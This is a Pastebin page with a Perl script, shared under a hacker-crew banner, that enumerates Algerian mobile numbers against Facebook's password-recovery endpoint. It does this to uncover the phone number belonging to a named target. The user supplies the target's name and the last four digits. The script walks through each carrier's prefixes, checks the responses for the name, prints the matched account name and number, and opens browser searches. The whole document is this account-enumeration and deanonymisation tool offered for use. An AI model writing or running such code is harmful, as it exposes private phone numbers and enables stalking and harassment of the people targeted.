Mayk0

#; Facebook phone number detecter by sadam213

Apr 13th, 2014
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.29 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. #! by sadam213 speciale version for algeria numbers
  4. #! release for public 20-12-2012
  5. #! for more information  sadam213@live.fr
  6. #! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
  7. #! demo video : http://www.youtube.com/watch?v=iYRW9gV6SDU
  8.  
  9. use strict;
  10. use warnings;
  11.  
  12. use LWP::UserAgent;
  13.  
  14. sub post_url {
  15. my( $url, $formref ) = @_;
  16.  
  17. # set up a UserAgent object to handle our request
  18. my $ua = new LWP::UserAgent(timeout => 300);
  19.  
  20. $ua->agent('perlproc/1.0');
  21.  
  22. my $response = $ua->post($url, $formref );
  23.  
  24. if( $response->is_success ){
  25. return $response->content;
  26. } else {
  27. return undef;
  28. }
  29. }
  30.  
  31. my $cant=0 ;
  32. my $Backup_Count = 0;
  33. sub back_and_print {
  34. my $text = shift @_;  # no tabs, no newlines!
  35.  
  36. print "\b" x $Backup_Count;
  37. print " " x $Backup_Count;
  38. print "\b" x $Backup_Count;
  39. $Backup_Count = length $text;
  40. print $text;
  41. }
  42.  
  43. my $red="\e[1;31m";
  44. my $normal="\e[0m\n";
  45.  
  46.  
  47. print "
  48. ------------------------------------------------------------
  49.                                                            |
  50. .%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%.      |
  51. .%%..%%.....%%...............    %%...  %%%.......%%..      |
  52. .%%..%%....%%........%%%%%%...%%%%..... %%......%%%..       |
  53. .%%..%%...%%................  %%........%%........%%.       |
  54. .%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%..       |
  55.                                                            |
  56. |[+] Dz fb num Detecter                                     |
  57. |[+] Sadam213|codes                |   sadam213[at]live[fr] |
  58. |[+] GreetZ: to All Dz HackerZ                              |
  59. ------------------------------------------------------------
  60. \n\n" ;
  61.  
  62. print "enter the name of Target : ";
  63. my $name=<STDIN> ;
  64. chomp($name) ;
  65.  
  66. print "enter the last 4 numbers : ";
  67. my $number=<STDIN> ;
  68. print "
  69. choose the user operator
  70.  
  71. [1] djezzy
  72. [2] Nedjma
  73. [3] mobilis
  74. [4] all (djezzy,nedjma,mobilis)
  75.  
  76. ";
  77. my $op=<STDIN> ;
  78. print "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
  79. my $s=<> ;  
  80.  
  81. if ($op =~ "1" or $op =~ "4") {
  82. print "
  83. ===============================
  84. scanning Djezzy numbers ..
  85. ===============================
  86. " ;
  87. for( my $i = 77000; $i<79999; $i++ ){
  88. if ($i == "78000"){
  89. $i="79000" ;
  90. goto aa ;
  91. }
  92. my $url = "http://m.facebook.com/login/identify?ctx=recover";
  93. my $num = "+213".$i.$number ;
  94. my %param = ( 'email' => $num);
  95.  
  96. my $test = post_url( $url, \%param );
  97.  
  98.  
  99. my $id ="" ;
  100. my @test=[] ;
  101.  
  102. if ($test =~ m/$name/ ){
  103.  
  104. my @test = split />/ ,$test ;
  105.  
  106.  
  107. if ($test[33] =~ m/(.*?)\</g ) {
  108. $id = $1 ;
  109.  
  110.  
  111. }
  112.  
  113. print"
  114.  
  115. =============================
  116.  
  117. [+]name of facebook is : $id
  118. [+]phone number :  $num
  119.  
  120. =============================
  121. ";  
  122. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  123. goto a  ;
  124.  
  125. }
  126. else {
  127. if ($test =~ m/suspect/ ){
  128.  
  129. $cant=$cant+ 1 ;
  130. print "
  131.  
  132. [$cant]suspect => $num
  133. ";
  134. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  135.  
  136. goto aa ;
  137.  
  138.  
  139. }
  140.  
  141.  
  142.  
  143.  
  144. else {
  145. $|=1 ;
  146. back_and_print( "" );
  147.  
  148.  }
  149.  
  150.  
  151.  
  152. }
  153. aa:
  154. }
  155. }
  156.  
  157. #===========================nedjma================================
  158.  
  159. if ($op =~ "2" or $op =~ "4") {
  160. print "
  161. ===============================
  162. scanning Nedjma numbers ..  
  163. ===============================
  164. ";
  165. for( my $i = 55000; $i<55999; $i++ ){
  166.  
  167. my $url = "http://m.facebook.com/login/identify?ctx=recover";
  168. my $num = "+213".$i.$number ;
  169. my %param = ( 'email' => $num);
  170.  
  171. my $test = post_url( $url, \%param );
  172. my $id ="" ;
  173. my @test=[] ;
  174.  
  175. if ($test =~ m/$name/){
  176. my @test = split />/ ,$test ;
  177.  
  178.  
  179. if ($test[33] =~ m/(.*?)\</g ) {
  180. $id = $1 ;
  181. }
  182.  
  183. print"
  184.  
  185. =============================
  186.  
  187. [+]name of facebook is : $id
  188. [+]phone number :  $num
  189.  
  190. =============================
  191. ";  
  192. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  193. goto a  ;
  194.  
  195. }
  196.  
  197. else {
  198. if ($test =~ m/suspect/ ){
  199. $cant=$cant+ 1 ;
  200. print "
  201. [$cant]suspect => $num
  202. ";
  203. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  204.  
  205. goto bb ;
  206.  
  207. }
  208. else {
  209. $|=1 ;
  210. back_and_print( "" );
  211.  
  212.  }
  213.  
  214.  
  215.  
  216. }
  217. bb:
  218. }
  219. }
  220. #======================================mobilis========================
  221.  
  222. if ($op =~ "3" or $op =~ "4") {
  223. print "
  224. ===============================
  225. scanning mobilis numbers ..  
  226. ===============================
  227. " ;
  228. for( my $i = 66100; $i<69999; $i++ ){
  229. if ($i == "67000"){
  230. $i="69900" ;
  231. goto cc ;
  232. }
  233. my $url = "http://m.facebook.com/login/identify?ctx=recover";
  234. my $num = "+213".$i.$number ;
  235. my %param = ( 'email' => $num);
  236.  
  237. my $test = post_url( $url, \%param );
  238.  
  239. my $id ="" ;
  240. my @test=[] ;
  241.  
  242. if ($test =~ m/$name/){
  243. my @test = split />/ ,$test ;
  244.  
  245.  
  246. if ($test[33] =~ m/(.*?)\</g ) {
  247. $id = $1 ;
  248. }
  249.  
  250. print"
  251.  
  252. =============================
  253.  
  254. [+]name of facebook is : $id
  255. [+]phone number :  $num
  256.  
  257. =============================
  258. ";  
  259. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  260.  
  261. goto a ;
  262.  
  263. }
  264.  
  265. else {
  266. if ($test =~ m/suspect/ ){
  267. $cant=$cant+ 1 ;
  268. print "
  269. [$cant]suspect => $num
  270. ";
  271. system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
  272. goto cc ;
  273.  
  274. }
  275. else {
  276. $|=1 ;
  277. back_and_print( "" );
  278.  
  279.  }
  280.  
  281.  
  282.  
  283. }
  284. cc:
  285. }
  286. }
  287.  
  288.  
  289. #=========================exite=============================
  290. a:
  291. print "search finish  " ;
Add Comment
Please, Sign In to add comment